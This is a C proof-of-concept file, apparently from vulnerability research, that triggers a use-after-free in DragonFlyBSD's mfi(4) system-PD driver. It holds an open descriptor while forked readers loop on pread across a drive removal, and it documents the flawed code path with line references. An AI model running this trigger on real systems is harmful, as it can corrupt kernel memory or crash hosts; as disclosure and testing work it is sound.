DF-5049 / syspd_hold.c
/* syspd_hold.c - DF-5049 precondition demonstrator / hardware trigger. * * DragonFlyBSD mfi(4) system-PD lifetime bug (sys/dev/raid/mfi/mfi_syspd.c). * * On real hardware (LSI MegaRAID with a JBOD exposed as SYSTEM PD): * - open /dev/mfisyspdN and keep the descriptor open (O_RDWR) * - background readers issue pread(2) in a loop -> in-flight/parked bios * with bio->bio_driver_info = &mfi_system_pd (mfi_syspd.c:278) * - remove the physical drive (or let firmware raise MR_EVT_PD_REMOVED). * mfi_decode_evt (mfi.c:1513-1532) then calls device_delete_child() * with NO mfi_io_lock, NO mfi_syspd_disable() gate and NO drain: * mfi_syspd_detach (mfi_syspd.c:155-177) runs kfree(sc->pd_info) * and device_detach -> device_set_driver(dev,NULL) -> * kfree(dev->softc) (kern/subr_bus.c:1944) while our fd is open. * - every subsequent pread(2)/close(2) on the held fd routes through * mfi_syspd_strategy/mfi_syspd_close with a dangling si_drv1: * strategy writes devstat_start_transaction(&sc->pd_devstat) * (mfi_syspd.c:281) and completion writes * devstat_end_transaction_buf(&sc->ld_devstat) (mfi_disk.c:310) * into the freed slab. Parked bios are later dequeued by * mfi_bio_command (mfi.c:1960-1968) which reads mfid->ld_flags * from the freed softc. * * Expected on hardware: reads keep "succeeding"/erroring through freed * memory (no ENXIO - the cdev ops and si_drv1 survive disk_destroy); * under UMA sanitizer/KASAN this trips immediately. * * Expected on this QEMU guest (no MegaRAID PCI device): open(2) fails * with ENOENT - the hardware gate itself. */ #include <sys/types.h> #include <errno.h> #include <fcntl.h> #include <signal.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> static volatile sig_atomic_t stop; int main(int argc, char **argv) { const char *dev = (argc > 1) ? argv[1] : "/dev/mfisyspd0"; char buf[512]; ssize_t n; int fd, i; fd = open(dev, O_RDWR); if (fd < 0) { printf("open(%s) failed: %s <- hardware-gated guest\n", dev, strerror(errno)); return (2); } printf("opened %s - holding fd; pull the drive / await " "MR_EVT_PD_REMOVED now\n", dev); for (i = 0; i < 4; i++) { pid_t p = fork(); if (p == 0) { for (;;) { n = pread(fd, buf, sizeof(buf), 0); if (n < 0) printf("reader: pread errno=%d (%s)\n", errno, strerror(errno)); usleep(20000); } } } printf("4 readers running; fd stays open across syspd delete\n"); pause(); return (0); } |